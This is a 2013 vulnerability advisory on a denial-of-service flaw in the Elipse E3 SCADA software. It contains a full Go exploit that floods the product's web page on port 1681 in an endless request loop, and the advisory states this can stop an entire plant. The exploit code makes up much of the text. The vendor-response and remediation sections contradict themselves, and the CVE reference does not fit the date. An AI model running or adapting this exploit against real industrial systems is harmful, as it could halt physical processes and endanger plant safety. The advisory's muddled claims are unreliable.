VSLA Security Advisory FIRE-SCADA-DOS-2013-001: Http DoS Requests Flooding Crash Device Vulnerabilities Elipse E3 Scada PLC. LEVEL: EXTREME In our tests authorized by the customer, we can stop the entire plant. Published: 10/29/2013 Version: 1.0 Vendor: Elipse (http://www.elipse.com.br/port/index.aspx) Product: Elipse E3 (http://www.elipse.com.br/port/e3.aspx) Version affected: 3.x and prior Product description: Elipse E3 is a proprietary software. The E3 is a system of supervision and control processes designed to meet the current requirements of connectivity, flexibility and reliability, making it ideal for use in critical systems (SCADA PLC). Credit: Mauro Risonho de Paula Assump?o aka firebits Finding 1: Http DoS Requests Flooding Crash Device Vulnerabilities by 'index.html' page. CVE: CVE-2011-4899 Proof of Concept: Exploit: // Exploit Http DoS Request for SCADA ATTACK Elipse 3 // Mauro Risonho de Paula Assump?o aka firebits // mauro.risonho@gmail.com // 29-10-2013 11:42 // Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections // exploit in Golang (golang.com) C Google // Exploit Devel in Fedora: // sudo yum install golang -y // go run Http-DoS-Request-SCADA-ATTACK-rev1.go // Exploit Http-DoS-Request-SCADA-ATTACK-rev1.go package main import ( "fmt" "io/ioutil" "log" "net/http" ) func main() { count := 1 // fmt.Println ("") // fmt.Println (" _____.__ ___. .__ __ ") // fmt.Println (" _/ ____\__|______ ____\_ |__ |__|/ |_ ______ ") // fmt.Println (" \ __\| \_ __ \_/ __ \| __ \| \ __\/ ___/ ") // fmt.Println (" | | | || | \/\ ___/| \_\ \ || | \___ \ ") // fmt.Println (" |__| |__||__| \___ >___ /__||__| /____ > ") // fmt.Println (" \/ \/ \/ ") // fmt.Println (" bits on fire. ") fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3") fmt.Println ("Mauro Risonho de Paula Assump?o aka firebits") fmt.Println ("29-10-2013 11:42") fmt.Println ("mauro.risonho@gmail.com") fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ") fmt.Println ("20 requests connections per second") for { count += count //set ip http://192.168.0.1:1681/index.html -> // Elipse 3 http://<ip-elipse4><port listen: default 1681> fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3") fmt.Println ("Mauro Risonho de Paula Assump?o aka firebits") fmt.Println ("29-10-2013 11:42") fmt.Println ("mauro.risonho@gmail.com") fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ") fmt.Println ("20 requests connections") fmt.Println ("Connected Port 1681...Testing") fmt.Println ("Counter Loops: ", count) res, err := http.Get("http://192.168.0.1:1681/index.html") if err != nil { log.Fatal(err) } robots, err := ioutil.ReadAll(res.Body) res.Body.Close() if err != nil { log.Fatal(err) } fmt.Printf("%s", robots) } } Crash 20 Requests Paralels Vendor Response: Due to the fact that the component in question is an installation script, the vendor has stated that the attack surface is too small to warrant a fix: "We would be possible for us to communicate the details of the test, so we can arrange a hotfix." VSLA Virtual Security Labs Anywhere recommends installing the hotfix, hardware/software to be putting in a production environment. Remediation Steps: No official fix for these issues will be released for the Elipse. However, administrators can mitigate these issues defining rules within a web application firewall (WAF) solution. Vendor Communication Timeline: 10/24/2013 - Vulnerability disclosed 10/29/2013 - Confirmation to release vulnerabilities ? - Advisory published References 1. http://www.elipse.com.br/port/e3.aspx About VSLA Virtual Security Labs Anywhere: VSLA Virtual Security Labs Anywhere is a research blog on security the information. firebitsbr.wordpress.com Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. VSLA Virtual Security Labs Anywhere disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall VSLA Virtual Security Labs Anywhere or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if VSLA Virtual Security Labs Anywhere or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.